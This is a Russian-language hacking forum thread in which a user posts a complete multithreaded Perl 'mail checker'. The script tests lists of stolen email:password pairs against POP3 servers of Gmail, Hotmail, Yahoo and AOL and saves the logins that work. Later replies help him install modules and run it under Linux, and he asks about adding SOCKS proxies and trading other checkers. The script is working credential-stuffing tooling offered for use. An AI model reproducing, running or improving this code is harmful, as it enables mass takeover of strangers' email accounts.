Вот такой вот скриптик - помогите разобраться

Discussion in 'PHP' started by veritsswf, 12 Dec 2010.

  1. veritsswf

    veritsswf New Member

    Joined:
    23 Nov 2010
    Messages:
    13
    Likes Received:
    0
    Reputations:
    0
    Взят он с паблика, я не программер - но понимаю кое что- мне нужен чекер мыл - помогите с этим разобраться будет он чекать и как его поставить на хостинге, всем спасибо - если не тяжело можно в аське - 617-350-040, либо кто умеет - нужен чекер - хотмаил, яху, аол и gmail- все в пм

    use warnings;
    use strict;

    use threads;
    use threads::shared;

    use IO::Socket;
    use IO::Socket::SSL;

    use Fcntl ':flock';

    ### Настройки

    my $accounts_file = 'ac.txt'; # Файл с аккаунтами
    my $accounts_delimiter = ':'; # Разделитель логина и пароля
    my $good_file = 'good.txt';
    my $bad_file = 'bad.txt';
    my $log_bad = 1;
    my $timeout = 60;
    my $threads_count = 10; # Количество потоков

    ### ---------

    my %servers = (
    'gmail.com' => {
    'port' => 995,
    'ssl' => 1,
    'login_email' => 1
    },
    'hotmail.com' => {
    'host' => 'pop3.live.com',
    'port' => 995,
    'ssl' => 1,
    'login_email' => 1
    },
    'yahoo.com' => {
    'host' => 'plus.pop.mail.yahoo.com',
    'port' => 995,
    'ssl' => 1
    },
    'aol.com' => {
    'port' => 995,
    'ssl' => 1,
    'login_email' => 1
    }
    );

    my %statictis : shared = ('good' => 0, 'bad' => 0, 'error' => 0);
    my @threads = ();

    $| = 1;

    my @accounts : shared;
    (open FH, '<', $accounts_file) || die "[Error] Can't open $accounts_file: $!";
    push @accounts, $_ while <FH>;
    close FH;

    open FH, '>', $good_file;
    close FH;

    if ($log_bad) {
    open FH, '>', $bad_file;
    close FH;
    }

    sub thread_print {
    my ($str) = "@_ [thread ".threads->tid()."]";
    $str .= " " x (78 - length $str) if length $str < 79;
    print $str."\n";
    $str = '';
    $str .= "[ $_ - $statictis{$_} ]" for keys %statictis;
    print $str.'[threads: '.(scalar threads->list() + 1)."]\r";
    }

    sub check_account {
    while (1) {
    last if !@accounts;
    my $account = lc shift @accounts;
    chomp $account;
    if ($account =~ /([^@]+)@([^$accounts_delimiter]+)$accounts_delimiter(.+)/) {
    my ($login, $host, $password) = ($1, $2, $3);
    my $r_login = $login;
    my $sock;
    if ($servers{$host}) {
    $r_login = "$login\@$host" if ${$servers{$host}}{'login_email'};
    if (${$servers{$host}}{'ssl'}) {
    eval { $sock = IO::Socket::SSL->new(PeerAddr => ((${$servers{$host}}{'host'}) ? ${$servers{$host}}{'host'} : "pop.$host"), Proto => 'tcp', PeerPort => ((${$servers{$host}}{'port'}) ? ${$servers{$host}}{'port'} : 110), Timeout => $timeout); };
    } else {
    eval { $sock = IO::Socket::INET->new(PeerAddr => ((${$servers{$host}}{'host'}) ? ${$servers{$host}}{'host'} : "pop.$host"), Proto => 'tcp', PeerPort => ((${$servers{$host}}{'port'}) ? ${$servers{$host}}{'port'} : 110), Timeout => $timeout); };
    }
    } else {
    eval{ $sock = IO::Socket::INET->new(PeerAddr => "pop.$host", Proto => 'tcp', PeerPort => 110, Timeout => $timeout); };
    }
    if ($sock) {
    $sock->autoflush(1);
    my $answ;
    $answ = <$sock>;
    my $bad = 1;
    if ($answ && substr($answ, 0, 1) eq '+') {
    print $sock "USER $r_login\n";
    $answ = <$sock>;
    if ($answ && substr($answ, 0, 1) eq '+') {
    print $sock "PASS $password\n";
    $answ = <$sock>;
    if ($answ && substr($answ, 0, 1) eq '+') {
    print $sock "QUIT\n";
    close $sock;
    $bad = 0;
    thread_print "[+] $login\@$host$accounts_delimiter$password";
    { lock %statictis; $statictis{'good'}++; }
    open FH, '>>', $good_file;
    flock FH, LOCK_EX;
    print FH "$login\@$host$accounts_delimiter$password\n";
    flock FH, LOCK_UN;
    close FH;
    } elsif ($answ && $answ =~ /SYS\/PERM/) {
    $bad = 0;
    { lock %statictis; $statictis{'error'}++; }
    thread_print "[~] $login\@$host$accounts_delimiter$password";
    }
    }
    }
    if ($bad) {
    thread_print "[-] $login\@$host$accounts_delimiter$password";
    { lock %statictis; $statictis{'bad'}++; }
    if ($log_bad) {
    open FH, '>>', $bad_file;
    flock FH, LOCK_EX;
    print FH "$login\@$host$accounts_delimiter$password\n";
    flock FH, LOCK_UN;
    close FH;
    }
    }
    } else {
    { lock %statictis; $statictis{'error'}++; }
    thread_print "[E] $login\@$host$accounts_delimiter$password #$?: $!";
    }
    }
    }
    threads->exit->detach;
    }

    $threads_count = $#accounts if $#accounts < $threads_count;
    $threads[$_] = threads->create(\&check_account) for 0..$threads_count - 1;
    $_->join for @threads;
    my $str;
    $str .= "[ $_ - $statictis{$_} ]" for keys %statictis;
     
  2. dpe_x

    dpe_x Elder - Старейшина

    Joined:
    8 Sep 2010
    Messages:
    155
    Likes Received:
    35
    Reputations:
    14
    это консольный скрипт
    его ни на хостинг не надо ставить.
    запускается он с компа.
    предварительно установив activeperl
     
  3. veritsswf

    veritsswf New Member

    Joined:
    23 Nov 2010
    Messages:
    13
    Likes Received:
    0
    Reputations:
    0
    Буду пробовать - спс
     
  4. veritsswf

    veritsswf New Member

    Joined:
    23 Nov 2010
    Messages:
    13
    Likes Received:
    0
    Reputations:
    0
    а локальный север нада или?0)
     
  5. veritsswf

    veritsswf New Member

    Joined:
    23 Nov 2010
    Messages:
    13
    Likes Received:
    0
    Reputations:
    0
    север нада на машине ?

    а локальный север нада или?0)
     
  6. DesCent

    DesCent Banned

    Joined:
    9 Jul 2010
    Messages:
    276
    Likes Received:
    51
    Reputations:
    16
    Нет.
     
  7. dpe_x

    dpe_x Elder - Старейшина

    Joined:
    8 Sep 2010
    Messages:
    155
    Likes Received:
    35
    Reputations:
    14
    тут все подробно описанно
    со скриншотами даже)

    https://forum.codingworld.ru/showthread.php?t=1198
     
  8. veritsswf

    veritsswf New Member

    Joined:
    23 Nov 2010
    Messages:
    13
    Likes Received:
    0
    Reputations:
    0
    Спасибо - это хорошо! если есть у кого чекер мыл в пм
     
  9. veritsswf

    veritsswf New Member

    Joined:
    23 Nov 2010
    Messages:
    13
    Likes Received:
    0
    Reputations:
    0
    все - запустить запустил - и ошибка(

    вот такое пишет мож кто подскажет

    Cant locate IO/Socket/SSL.pm in @INC <@INC contains: C:/Perl/site/lib C:/Perl/lib.> at C:\Perl\bin\Sploit.pl line 16
    BEGIN failed-- compilation aborted at C:\Perl\bin\Sploit.pl line 16
    я так понимаю он не может найти файл SSL.pm и в 16 линии какая-то ошибка- люди добрые памагите- глаза ща выпадут-)
     
  10. LStr1ke

    LStr1ke Elder - Старейшина

    Joined:
    29 Jul 2009
    Messages:
    801
    Likes Received:
    145
    Reputations:
    73
    Проще запустить под никсами
    или устанавливай http://search.cpan.org/~sullr/IO-Socket-SSL-1.36/
     
    #10 LStr1ke, 13 Dec 2010
    Last edited: 13 Dec 2010
  11. dpe_x

    dpe_x Elder - Старейшина

    Joined:
    8 Sep 2010
    Messages:
    155
    Likes Received:
    35
    Reputations:
    14
    посмотри в самом начале скрипта должны быть написаны используемые модули.
    то что после
    "use"
    и проверь установлены ли у тебя все эти модули
     
  12. veritsswf

    veritsswf New Member

    Joined:
    23 Nov 2010
    Messages:
    13
    Likes Received:
    0
    Reputations:
    0
    теперь такое выдает

    Да всем спасибо за помощь - все с модулями разобрался -и ssl.pm и с ssleay тоже все поставил, только теперь ругаеться на что то другое - хз что это - гуглом пользоваться умею - но это найти немогу-

    Cant locate auto/net/SSLeay/autosplit.ix in GINC
    и еще кучу ошибок - я так понимаю это уже не в модулях трабл а в самом скрипте - хз- мож кто поможет, спс

    спойлер[​IMG]
     
    #12 veritsswf, 13 Dec 2010
    Last edited: 13 Dec 2010
  13. dpe_x

    dpe_x Elder - Старейшина

    Joined:
    8 Sep 2010
    Messages:
    155
    Likes Received:
    35
    Reputations:
    14
    запускай
    путь к скрипту\perl script.pl
     
  14. veritsswf

    veritsswf New Member

    Joined:
    23 Nov 2010
    Messages:
    13
    Likes Received:
    0
    Reputations:
    0
    TO:dpe_x - чтоб тебе так помогали как ты -
     
  15. veritsswf

    veritsswf New Member

    Joined:
    23 Nov 2010
    Messages:
    13
    Likes Received:
    0
    Reputations:
    0
    ЗАПУСТИЛ! cheers!

    Всем спасибо за помощь - запустил, особое спасибо LStr1ke - за подсказку с линухой - все заработало вот скрин(там полоса какая-то - скрин делал с виртуалки под линухой - хз
    скрин - [​IMG]
    помогите чтоб чекал - нужно добавит соксы - скорее всего, спс
     
    #15 veritsswf, 14 Dec 2010
    Last edited: 14 Dec 2010
  16. veritsswf

    veritsswf New Member

    Joined:
    23 Nov 2010
    Messages:
    13
    Likes Received:
    0
    Reputations:
    0
    блин как правильно скрин влепить - чтоб тут был а не на хостинге фоток)(з
    [​IMG]
     
  17. Catbert

    Catbert Banned

    Joined:
    29 Jun 2010
    Messages:
    80
    Likes Received:
    27
    Reputations:
    10
    Ты же в курсе, что по дефолту у гмейл аккаунтов отключен доступ к почте по pop3?
     
  18. New!

    New! New Member

    Joined:
    16 Nov 2010
    Messages:
    8
    Likes Received:
    0
    Reputations:
    0
    конс
     
  19. veritsswf

    veritsswf New Member

    Joined:
    23 Nov 2010
    Messages:
    13
    Likes Received:
    0
    Reputations:
    0
    нет не в курсе - а яху и хотмыло?
     
  20. veritsswf

    veritsswf New Member

    Joined:
    23 Nov 2010
    Messages:
    13
    Likes Received:
    0
    Reputations:
    0
    яху можно через поп3 не чекать- он у них платный, а хотмаил вполне возможно - у меня его чекает - у кого есть чекер яху - с другим принципом - стучите- обмен